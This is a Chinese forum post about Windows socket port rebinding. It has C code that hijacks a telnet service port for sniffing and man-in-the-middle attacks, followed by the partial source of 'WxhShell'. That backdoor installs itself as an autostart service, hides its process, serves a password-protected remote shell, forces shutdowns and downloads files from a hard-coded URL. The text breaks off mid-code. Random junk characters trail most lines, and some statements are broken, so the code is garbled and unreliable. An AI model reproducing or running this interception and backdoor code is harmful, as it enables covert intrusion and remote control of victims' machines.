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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ShEaL&'J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I>YtWY|ed  
!:g>CDA  
  saddr.sin_family = AF_INET; $ g1wK}B3  
s/W!6JX4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >Rl0%!  
O]$*EiO\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Et @=Ic^E  
rA1zyZlz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^5FJ}MMJf  
{|7OmslC@  
  这意味着什么?意味着可以进行如下的攻击: 0~@L%~  
" kE:T.,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tv*1q.MB  
1{\,5U&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BM=V,BZy  
P0`>{!r6@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QXIbFv  
Xj})?{FP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X1 0"G~0  
>tXufzW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &dwI8@&  
~q'w),bE"Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Sug~FV?k$e  
8zWBXV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?C#F?N0  
cW~6@&zp  
  #include BW;=i.  
  #include ( TbB?X}  
  #include iaaH9X %  
  #include    UL@5*uiX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L_.xr ?  
  int main() R.T?ZF  
  { ki*79d"$  
  WORD wVersionRequested; QvK]<HEr  
  DWORD ret; DS[l,x  
  WSADATA wsaData; )=,9`+Zta  
  BOOL val; ,,wyydG  
  SOCKADDR_IN saddr; N#-kk3!Z;  
  SOCKADDR_IN scaddr; $&n240(  
  int err; c^dl+-{Mc  
  SOCKET s; =A6u=  
  SOCKET sc; w|n?m  
  int caddsize; _>_y@-b  
  HANDLE mt;  ycAi(K  
  DWORD tid;   k DceBs s  
  wVersionRequested = MAKEWORD( 2, 2 ); J4 '!  
  err = WSAStartup( wVersionRequested, &wsaData ); S7#^u`'Q_^  
  if ( err != 0 ) { LfjS[  
  printf("error!WSAStartup failed!\n"); J7 *G/F  
  return -1; UtGd/\:  
  } n/-p;#R  
  saddr.sin_family = AF_INET;  2U+z~  
   :+gCO!9Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v#<+n{B  
*~t$k56  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8G[Y9A(bmP  
  saddr.sin_port = htons(23); #LNB@E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w'!}(Z5X?  
  { [r~rIb%Zj  
  printf("error!socket failed!\n"); NkjQyMF  
  return -1; No92Y^~/  
  } Vp{RX8?.  
  val = TRUE; {7M4SC@p|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )*$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :;hBq4h  
  { 8HH.P`Vk#  
  printf("error!setsockopt failed!\n"); CgTQGJ}-  
  return -1; )8N)Z~h  
  } 3/SqXu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v_1JH<GJ-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %.atWX`b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D !D%.  
i$LV44  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [(e`b  
  { Jk6/i;4|  
  ret=GetLastError(); m?R+Z6c[  
  printf("error!bind failed!\n"); U}vtVvx  
  return -1; u):Rw  
  } 1rm$@L  
  listen(s,2); loqS?bC ]  
  while(1) -WHwz m  
  { \<MTY:  
  caddsize = sizeof(scaddr); BS<>gA R;/  
  //接受连接请求 E<m"en&v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Dk{nOvZu<  
  if(sc!=INVALID_SOCKET) EBn:[2  
  { Vo9)KxR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?;.+A4  
  if(mt==NULL) dE9aE#o  
  { @l6 dJ  
  printf("Thread Creat Failed!\n"); C7*Yg$`{  
  break; 2QuypVC ]  
  } u!EulAl  
  } )mo|.L0  
  CloseHandle(mt); $GfxMt  
  } B& f~.UH  
  closesocket(s); zKAyfn.A  
  WSACleanup(); }"; hz*a  
  return 0; #.G>SeTn2}  
  }   {D2d({7  
  DWORD WINAPI ClientThread(LPVOID lpParam) },QFyT  
  { iNrmhiql  
  SOCKET ss = (SOCKET)lpParam; }-]s#^'w  
  SOCKET sc; TXk"[>,:H  
  unsigned char buf[4096]; UNH}*]u4`  
  SOCKADDR_IN saddr; Y8CYkJTAD-  
  long num; z )}wo3  
  DWORD val; 8'_ ]gfF  
  DWORD ret; VTX'f2\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,vY I O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BxN#Nk~  
  saddr.sin_family = AF_INET;  S~5 =1b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1MzB?[gx  
  saddr.sin_port = htons(23); eEds-&_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WE8L?55_Au  
  { Z(`K6`KM  
  printf("error!socket failed!\n"); Z_ *ZUN?B  
  return -1; '`A67bdq)  
  } K/LaA4  
  val = 100; =VI`CBQ/Um  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h^,YYoA$  
  { d5W[A#}  
  ret = GetLastError(); I:2jwAl  
  return -1; vH\nL>r  
  } O7_NXfh|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K]azUK7  
  { }j<_JI  
  ret = GetLastError(); #(}_2x5  
  return -1; b:d.Lf{y7  
  } Q^5 t]HKn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xx2:5  
  { 9Qm{\  
  printf("error!socket connect failed!\n"); ' xq5tRg>  
  closesocket(sc); ` ];[T=  
  closesocket(ss); 9(Xch2tpO!  
  return -1; Fl(ZKpSZU  
  } 5TW<1'u  
  while(1) $G([#N<  
  { {}gk4 xr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :QY9pT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Qz90 mb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !{=%l+^.  
  num = recv(ss,buf,4096,0); rlh6\Fa  
  if(num>0) g<jK^\e W  
  send(sc,buf,num,0); -Y,Ibq  
  else if(num==0) 5UD;Z V%  
  break; .\\#~r`t3  
  num = recv(sc,buf,4096,0); j W]c9u  
  if(num>0) 9Yne=R/]  
  send(ss,buf,num,0); WQ`P^5e  
  else if(num==0) W${sD|d-  
  break; wx7>0[zE  
  } KD<`-b)7<  
  closesocket(ss); @)B5^[4(;  
  closesocket(sc); ^rb7`s#G  
  return 0 ; 0 #; s{7k  
  } d~s-;T  
{*  _ W  
uPD_s[  
========================================================== \nt'I;f  
-P uVI5L<  
下边附上一个代码,,WXhSHELL Ho{?m^  
8y )i,"  
========================================================== -BH'.9uqGQ  
j[ YTg]  
#include "stdafx.h" 9_^V1+   
E)SOcM)  
#include <stdio.h> d`*vJ#$> 2  
#include <string.h> +K4v"7C V  
#include <windows.h> ^HKaNk<  
#include <winsock2.h> JugQ +0  
#include <winsvc.h> F#9KMu<<cI  
#include <urlmon.h> l@9:V hU(  
s0'U[]  
#pragma comment (lib, "Ws2_32.lib") wY)GX  
#pragma comment (lib, "urlmon.lib") jh!IOtf  
-2XIF}.Hu  
#define MAX_USER   100 // 最大客户端连接数 +n]Knfi  
#define BUF_SOCK   200 // sock buffer o{,(`o.1O  
#define KEY_BUFF   255 // 输入 buffer E 4(muhY  
_e^V\O>  
#define REBOOT     0   // 重启 C'"6@-~  
#define SHUTDOWN   1   // 关机 ;L{y3CWT  
$9b6,Y_-  
#define DEF_PORT   5000 // 监听端口 Yhdt8[ 2  
:njUaMFoMA  
#define REG_LEN     16   // 注册表键长度 k.hSN8  
#define SVC_LEN     80   // NT服务名长度 gKEvgXOj  
r!=VV!XZ  
// 从dll定义API g9`ytWmM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gC:E38u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "A$Y)j<#G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^E8Hv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s7gf7 E#Y  
LD"}$vfs  
// wxhshell配置信息 [IW7]Fv<F  
struct WSCFG { dv>zK#!  
  int ws_port;         // 监听端口 iTyApLV  
  char ws_passstr[REG_LEN]; // 口令 1&WFs6  
  int ws_autoins;       // 安装标记, 1=yes 0=no A~t7I{`  
  char ws_regname[REG_LEN]; // 注册表键名 *gKr1}M  
  char ws_svcname[REG_LEN]; // 服务名 pEP.^[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ucO]&'hu:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kqjeqr@)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @J)vuGS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &0blHDMj{#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (6aZQ`H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :"^$7  
 HuC lO  
}; Y`RfE  
F:U_gW?  
// default Wxhshell configuration >.A:6  
struct WSCFG wscfg={DEF_PORT, cZ,_O~  
    "xuhuanlingzhe", l#:Q V:  
    1, r#}%sof  
    "Wxhshell", mcracj[ B  
    "Wxhshell", sRG3`>1  
            "WxhShell Service", smNr%}_g  
    "Wrsky Windows CmdShell Service", ZaV@}=Rd8  
    "Please Input Your Password: ", w|ei*L  
  1, my0->W%L  
  "http://www.wrsky.com/wxhshell.exe", Tj#XsD?J  
  "Wxhshell.exe" T9.gs}B0  
    }; n*uZ=M_/Q  
60$    
// 消息定义模块 y%AJ>@/;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \FM- FQK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vUNE! j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pu#<qD*w  
char *msg_ws_ext="\n\rExit."; 2HNS|GHb&  
char *msg_ws_end="\n\rQuit."; Lr&tpB<  
char *msg_ws_boot="\n\rReboot..."; ]y$C6iUY*  
char *msg_ws_poff="\n\rShutdown..."; 1jb@n xRjO  
char *msg_ws_down="\n\rSave to "; f# + h_1#  
w[_Uv4M  
char *msg_ws_err="\n\rErr!"; Hs`  '](  
char *msg_ws_ok="\n\rOK!"; HBu>BSv:  
&!Vp'l\9  
char ExeFile[MAX_PATH]; `w }"0+V  
int nUser = 0; +cN2 KP  
HANDLE handles[MAX_USER]; |^&e\8>.  
int OsIsNt; bf+2c6_BN0  
 Q.yoxq  
SERVICE_STATUS       serviceStatus; e%\KI\u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >oNs_{  
w5Z3e^g  
// 函数声明 03y<'n  
int Install(void); .?TVBbc%5  
int Uninstall(void); SfR_#"Uu  
int DownloadFile(char *sURL, SOCKET wsh); 5{[0Clb)  
int Boot(int flag); m9S5;kB]  
void HideProc(void); gS 3&,^  
int GetOsVer(void); 8a {gEZT,  
int Wxhshell(SOCKET wsl); v]>(Ps )R  
void TalkWithClient(void *cs); 8'$n|<1X  
int CmdShell(SOCKET sock); Dr<Bd;)  
int StartFromService(void); u8QX2|  
int StartWxhshell(LPSTR lpCmdLine); xcA`W|M  
zrM|8Cu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,`b9c=6;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #c_ZU\" h"  
:Vc9||k  
// 数据结构和表定义 FS0SGBo  
SERVICE_TABLE_ENTRY DispatchTable[] = O!jCQ{ T  
{  :n4x}%  
{wscfg.ws_svcname, NTServiceMain}, M9nYt~vHX  
{NULL, NULL} o^_am>h  
}; :KwYuwYS  
i|e-N?l  
// 自我安装 ^q$sCt}  
int Install(void) L\5n!(,0  
{ c"r( l~fc  
  char svExeFile[MAX_PATH]; Bdi~ B")  
  HKEY key; Vow+,,oh  
  strcpy(svExeFile,ExeFile); HV?@MBM  
YDJc@*D  
// 如果是win9x系统,修改注册表设为自启动 !% Md9Mu!o  
if(!OsIsNt) { f QdQ[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pe8MG(V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TaH9Nu  
  RegCloseKey(key); \uH;ng|m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rh|&{Tf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ek<U2C_u#  
  RegCloseKey(key); z!tHn#  
  return 0; t<-Iiq+tL  
    } IZGty=Q_  
  } @NZ?D0"  
} W=drp>Uj  
else { {fWZ n  
,h"M{W$  
// 如果是NT以上系统,安装为系统服务 #+$z`C`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W-MQMHQ  
if (schSCManager!=0) 8in8_/x  
{ rQF%;  
  SC_HANDLE schService = CreateService SrxX-Hir  
  ( 9S}PCAA;  
  schSCManager, _kfApO )O  
  wscfg.ws_svcname, q%l<Hw6{z  
  wscfg.ws_svcdisp, a"EXR-+8  
  SERVICE_ALL_ACCESS, MWB?V?qPSC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :hr%iu  
  SERVICE_AUTO_START, 8@!SM  
  SERVICE_ERROR_NORMAL, xM(  
  svExeFile, G 8@%)$A  
  NULL, | =&r) ~  
  NULL, pdM|dGq^  
  NULL, y9 "!ys  
  NULL, 'sC{d&c  
  NULL Mppb34y  
  ); y3vOb, 4  
  if (schService!=0)  -H{{  
  { $%/Zm*H  
  CloseServiceHandle(schService); 1mf_1spB  
  CloseServiceHandle(schSCManager); fE >FT9c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &A>J>b  
  strcat(svExeFile,wscfg.ws_svcname); -1[ri8t;nV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `ainJs:B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C]}0h!_V  
  RegCloseKey(key); ]0o78(/w2  
  return 0; T ^uBMDYe  
    } *<KY^;  
  } Li}yK[\]  
  CloseServiceHandle(schSCManager); nG2RBeJV  
} *%8dW  
} lPjgBp{/  
w!Z3EA;`  
return 1; ]>!]X*\9  
} U`D"L4},.  
%k"-rmW  
// 自我卸载 NWFZ:h@v  
int Uninstall(void) !JJY ( o  
{ tUzuel*  
  HKEY key; *}FoeDe  
Yk }zN_v  
if(!OsIsNt) { | r2'B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uu HWN|  
  RegDeleteValue(key,wscfg.ws_regname); `":< ]lj  
  RegCloseKey(key); h)sc-e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V /|@   
  RegDeleteValue(key,wscfg.ws_regname); Oa{M9d,l  
  RegCloseKey(key); XBBsdldZ  
  return 0; o+&/ N-t  
  } T. {P}#'|  
} _T H'v:C  
} *5wb8 [  
else { 5'@}8W3b  
yVSJn>l!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M^H357r%  
if (schSCManager!=0) (ue;O~  
{ (xMAo;s_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'Kl} y,  
  if (schService!=0) o d!TwGX  
  { ,w c|YI)E  
  if(DeleteService(schService)!=0) { Dzb@H$BQ7  
  CloseServiceHandle(schService); S);bcowf_  
  CloseServiceHandle(schSCManager); zvE]4}VL?  
  return 0; n{|~x":9V  
  } :[! rj  
  CloseServiceHandle(schService); Yf|+p65g  
  } iX}EJD{f  
  CloseServiceHandle(schSCManager); fy7]I?vm@  
} od$Cm5  
} I/t2c=f  
s+,JwV?b  
return 1; NU81 V0:jG  
} ZjbMk 3Y  
h%Bp%Y9  
// 从指定url下载文件 )%P!<|s:5  
int DownloadFile(char *sURL, SOCKET wsh) ZfoI7<?33  
{ &!_ >J0  
  HRESULT hr; nD|Bo 9  
char seps[]= "/"; ?z p$Wz;k  
char *token;  zoA]7pG-  
char *file; 1Z|q0-Dw0  
char myURL[MAX_PATH]; h ~v8Q_6  
char myFILE[MAX_PATH]; L -<!,CASW  
ZxY%x/K  
strcpy(myURL,sURL); Ee^2stc-  
  token=strtok(myURL,seps); [WuN?H  
  while(token!=NULL) -:Yx1Y3 [  
  { [/\}:#MLe  
    file=token; EQ\/I( =l  
  token=strtok(NULL,seps); =56O-l7T*w  
  } n}0[EE!  
:(E.sT "R  
GetCurrentDirectory(MAX_PATH,myFILE); '8PZmS8X9  
strcat(myFILE, "\\"); sZA7)Z`7  
strcat(myFILE, file); fn;`Vit#  
  send(wsh,myFILE,strlen(myFILE),0); l'm!e'7_  
send(wsh,"...",3,0); F{v>   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J.35Ad1hM  
  if(hr==S_OK) ]9F$/M#  
return 0; xbsp[0I,  
else yO.q{|kX  
return 1; \9jEpE^Ju(  
 ~p<w>C9  
} H+6+I53  
qYF150  
// 系统电源模块 w`x4i fZ0q  
int Boot(int flag) Gg$4O8  
{ 3vepJ) D (  
  HANDLE hToken; SN' j?-  
  TOKEN_PRIVILEGES tkp; D.su^m_1  
R0HzNk  
  if(OsIsNt) { AhWcJD]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Jm#3zFYz3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E.45 s? r  
    tkp.PrivilegeCount = 1; `r+zNJ@q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lp+Uox  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i_Ol vuy~  
if(flag==REBOOT) { ?$J#jhR?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |ZC@l^a7  
  return 0; [3o^06V8j  
} #%5[8~&  
else { 0w<vc}{t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &P'd&B1   
  return 0; Y?IvG&])  
} ?g+uJf  
  } z>}H[0[#  
  else { Y#7sDd!N|  
if(flag==REBOOT) { =jz [}5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j2^Vz{  
  return 0; yGj'0c::  
} b v5BV  
else { 4z6kFQgu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |q!O~<H@  
  return 0; @` 5P^H7  
} *QH~ z2:[  
} xU9T8Lw  
5d|hP4fEc  
return 1; <aSjK#  
} 1K\z amBg  
upi\pXv  
// win9x进程隐藏模块 DXyRNE<G[C  
void HideProc(void) VY G o;  
{ DsX+/)d  
JP{Y Q:NF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZW>iq M^9  
  if ( hKernel != NULL ) ~'lYQ[7  
  { ZB+~0[C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pd^"MG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;2N: =Rv  
    FreeLibrary(hKernel); mM(Z8PA 9-  
  } [$]qJ~kz  
@}\wec_   
return; iewwL7  
} pmfL}Dn  
\&BT#8ELG  
// 获取操作系统版本 c'md)nD2M  
int GetOsVer(void) H'a6] ]2  
{ !KC4[;Y  
  OSVERSIONINFO winfo; [jnA?Ge:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ++\s0A(e  
  GetVersionEx(&winfo); LiyR,e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (! a;}V<7  
  return 1; 03Uj0.Z|7  
  else 4p<c|(f#  
  return 0; )kIZm Q|f1  
} Fa0Fl}L  
d C>[[_  
// 客户端句柄模块 Xx,Rah)X3  
int Wxhshell(SOCKET wsl) s+0n0C  
{ T|k_$LH  
  SOCKET wsh; pgd9_'[5  
  struct sockaddr_in client; {Ri6975  
  DWORD myID; 2=IZD `{!  
s.$:.*k  
  while(nUser<MAX_USER) JCjV,  
{ cB0"vbdO  
  int nSize=sizeof(client); -J":'xCP!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lrjp  
  if(wsh==INVALID_SOCKET) return 1; rczwxWK  
f1AO<>I;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j4%\'xj:  
if(handles[nUser]==0) -[}AhNYK  
  closesocket(wsh); +k;][VC[O  
else zD@RW<M  
  nUser++; NjFlV(XT}  
  } g|Xjw Ti8$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C23Gp3_0/  
AGhr(\j  
  return 0; `D $ "K1u  
} Y>2oU`ly,  
QC Jf   
// 关闭 socket h^v+d*R N  
void CloseIt(SOCKET wsh) E3V_qT8  
{ ^6@6BYf)  
closesocket(wsh); ;iA$yw:  
nUser--; n #PXMD*  
ExitThread(0); Ug#EAV<m  
} p'4ZcCW?f  
T s9go  
// 客户端请求句柄 ZFC&&[%-sG  
void TalkWithClient(void *cs) }xJ!0<Bs  
{ @{@DGc  
~Dbu;cqR@  
  SOCKET wsh=(SOCKET)cs; RPw1i*  
  char pwd[SVC_LEN]; \2Yo*jE}  
  char cmd[KEY_BUFF]; m$`4.>J  
char chr[1]; L"L a|  
int i,j; a(_3271  
09 v m5|  
  while (nUser < MAX_USER) { R^6]v`j;  
\SooIEl@  
if(wscfg.ws_passstr) { "lA8CA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zt \3y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y;=GM:*H  
  //ZeroMemory(pwd,KEY_BUFF); k $E{'Dv  
      i=0; :DJLkMP  
  while(i<SVC_LEN) { 2m,t<Y;  
{!*dk V  
  // 设置超时 Ask~  
  fd_set FdRead; >P}6/L  
  struct timeval TimeOut; |@rYh-5  
  FD_ZERO(&FdRead); PmA_cP7~  
  FD_SET(wsh,&FdRead); x75 3o\u!  
  TimeOut.tv_sec=8; ]]hsLOM]  
  TimeOut.tv_usec=0; eB_ M *+^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `svOPB4C'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V^kl_!@  
m!WDXt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8b X?HeYrr  
  pwd=chr[0]; _SrkR7  
  if(chr[0]==0xd || chr[0]==0xa) { Nazr4QU  
  pwd=0; ]t-B-(D  
  break; 72\o6{BiC  
  } 42Cc`a%U  
  i++; }LwKi-G?  
    } /h,-J8[  
2NF#mWZ(s  
  // 如果是非法用户,关闭 socket es1'z.UJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -+n? Q;  
} 7#sb },J{  
Uc0Sb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]GiDfYs7%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \4|osZ0y  
e0g>.P@6  
while(1) { 6oLZH6fG  
Bg}(Sy  
  ZeroMemory(cmd,KEY_BUFF); 4Y{&y6  
^}4ysw  
      // 自动支持客户端 telnet标准   {^@qfkZz^  
  j=0; G3D!ifho.#  
  while(j<KEY_BUFF) { qb PC5v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <-xu*Fc  
  cmd[j]=chr[0]; +ooQ-Gh  
  if(chr[0]==0xa || chr[0]==0xd) { cJ#%OU3 p  
  cmd[j]=0; lT+N{[kLt*  
  break; 6AKT -r.  
  } 8O.5ML{  
  j++; `cqZ;(^  
    } J1d|L|M  
5wI j:s  
  // 下载文件 &P(vm@*  
  if(strstr(cmd,"http://")) { 9=G dj!L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *cc|(EM  
  if(DownloadFile(cmd,wsh)) +||[H)qym  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dl_SEf6b  
  else |dqvv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1A{iUddR  
  } QW>(LGG=  
  else { h<FEe~  
[zhcb+^5l  
    switch(cmd[0]) { EakS(Q?  
  oT^r  
  // 帮助 9 F|e .  
  case '?': { l 5z8]/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "yPKdwP  
    break; du^r EMb%  
  } 4.'KT;[_1/  
  // 安装 B=hJ*;:p  
  case 'i': { 5YgUk[J  
    if(Install()) 0u8(*?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5U.,iQ(d  
    else ) q'~<QxI\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uH8`ipX  
    break; &>z}u&oF  
    } Bk8 '*O/)  
  // 卸载 ;/ao3Q   
  case 'r': { C lzz!v  
    if(Uninstall()) UE/N-K)`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %M;{+90p>t  
    else >Av%[G5=h#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J9`[Qy\  
    break; Q)Zk UmW  
    } 0:k ~  lz  
  // 显示 wxhshell 所在路径 *,p16"Q;  
  case 'p': { -I{J]L$S #  
    char svExeFile[MAX_PATH]; }S>:!9f  
    strcpy(svExeFile,"\n\r"); z,/y2H2  
      strcat(svExeFile,ExeFile); M ^~  
        send(wsh,svExeFile,strlen(svExeFile),0); l%9nA.M'  
    break; s`"ALn8m  
    } .X(ocs$}  
  // 重启 da53XEF&  
  case 'b': { ^p!bteA>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s*W)BK|+?  
    if(Boot(REBOOT)) ]<\; -i)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N>_d {=P  
    else { U-3uT&m*9.  
    closesocket(wsh); Is !DiB  
    ExitThread(0); xn)r6  
    } &_y+hV{  
    break; %]@K}!)2  
    } DwC8?s*2H  
  // 关机 Eb=;D1)y]  
  case 'd': {  \ l8$1p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d<l-Ldle  
